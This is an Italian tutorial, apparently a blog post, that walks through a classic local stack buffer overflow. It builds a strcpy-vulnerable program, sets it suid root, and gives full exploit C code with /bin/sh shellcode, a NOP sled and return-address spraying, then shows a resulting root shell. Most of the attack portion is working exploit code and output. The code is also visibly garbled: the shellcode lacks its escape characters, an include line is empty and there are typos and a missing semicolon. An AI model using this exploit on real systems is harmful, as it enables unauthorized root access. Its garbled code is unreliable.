Ho creato questo exploit in ambiente unix, per creare un buffer e inserendolo in un programma vulnerabile,allo scopo di manipolarlo
(se possibile)in modo che esegua lo shellcode inserito quando il programma va in crash anzichè semplicemente terminare.
Il codice in primo luogo acquisisce lo stack pointer corrente e sottrae da esso l'offset.In questo caso l'offset è 0.
A questo punto la memoria per il buffer è allocata (nello heap) e l'intero buffer è riempito con l'indirizzo di ritorno.
Ora i primi 200 byte del buffer vengono riempiti con un NOP sled(per chi non lo sapesse l'istruzione NOD in linguaggio macchina,per un processore
x86, equivale a 0x90).Quindi lo shellcode viene posizionato dopo il NOP sled,lasciando la porzione residua del buffer
riempita con l'indirizzo di ritorno.Poichè la fine del buffer + contrassegnata da un byte nullo, o zero, il buffer termina
con uno zero.Infine si utilizza un altra funzione per eseguire il programma vulnerabile e inserire il buffer appositamente
manipolato.
Rappresentazione di un buffer manipolato

[NOD Sled]------>[Shellcode]------>[Indirizzo di ritorno ripetuto]


Inanzitutto creiamo un Programma vuln.c che verrà rikiamato poi dal progetto principale

in main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

Questo codice inserisce un solo argomento e cerca di stipare il contenuto di tale argomento nel suo buffer di 500 byte.
Ecco i risultati apparentemente poco spettacolare della compilazione ed esecuzione

gcc -o vuln vuln.c
./vuln test
In realtà questo programma non fa nulla,tranne gestire in modo improprio la memoria.Per renderlo davvero vulnerabile,
occorre che il controllo venga assunto dall'utente root e che il bit di autorizzazione suid venga impostato su on nel codice
binario
sudo chown root vuln
sudo chmod +s vuln
ls -l vuln
-rwsr-sr-x 1 root users 4933 Feb 23 15:00 vuln
Ora che vuln è diventato un programma suid root vulnerabile rispetto a un buffer overflow, occorre solo un pezzi di codice
per generare un buffer inseribile nel programma stesso.



Andiamo a creare il codice Principale di Exploit.c
#include //Includo la libreria di base c.stdio.h

char shellcode[] =
"x31xc0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0"
"x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8d"
"x53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73"
"x68";

unsigned long sp(void) //Piccola funzione
{_asm_("movl %esp, %eax");} //Utilizzata per restituire lo stack
//pointer

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0 //Utilizzo di un offset che sia uguale a 0
esp=sp(); //Inserimento dello stack pointer corrente in esp

ret = esp - offset; //Sovrascrivo l'indirizzo di ritorno

printf("Stack Pointer (ESP) : 0x%xn", esp);
printf(" Offset da ESP : 0x%xn", offset);
printf("Desired Return Addr : 0x%xn", ret);


buffer = malloc(600); //allocazione di 600 byte per il buffer (nello heap)

//Riempimento dell'intero buffer con l'indirizzo di ritorno desiderato
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i<600; i++)
{ *(addr_ptr++) = ret; }

//Riempimento dei primi 200 byte del buffer con istruzioni nop
for(i=0; i<200; i++)
{ buffer[i] = 'x90'; }

//Inserimento dello shellcode dopo il NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

//Fine della stringa
buffer[600-1] = 0;

//Ora si richiama il programma ./vuln con il buffer manipolato come argomento
execl("./vuln" , "vuln" , buffer, 0);

//Si libera la memoria del buffer
free(buffer);
return 0;
}

Se la compilazione è eseguita x bene questi dovrebbero essere i risultati
gcc -o exploit exploit.c
./exploit


Stack pointer (ESP) : 0xbfff978
Offset da ESP : 0x0
Desired Return Addr : 0xbfff978
sh-2.0a# whoami
root
sh-2.0a#

Apparentemente ha funzionato.L'Indirizzo di ritorno nel frame dello stack è stato sovrascritto con il valore 0xbffff987,
che è proprio l'indirizzo del NOP sled e dello shellcode.Dal momento che il programma era uno suid root e che lo shellcode
era stato scritto per utilizzare una user shell, il programma vulnerabile originale avrebbe dovuto solamente copiare dei dati
e terminare.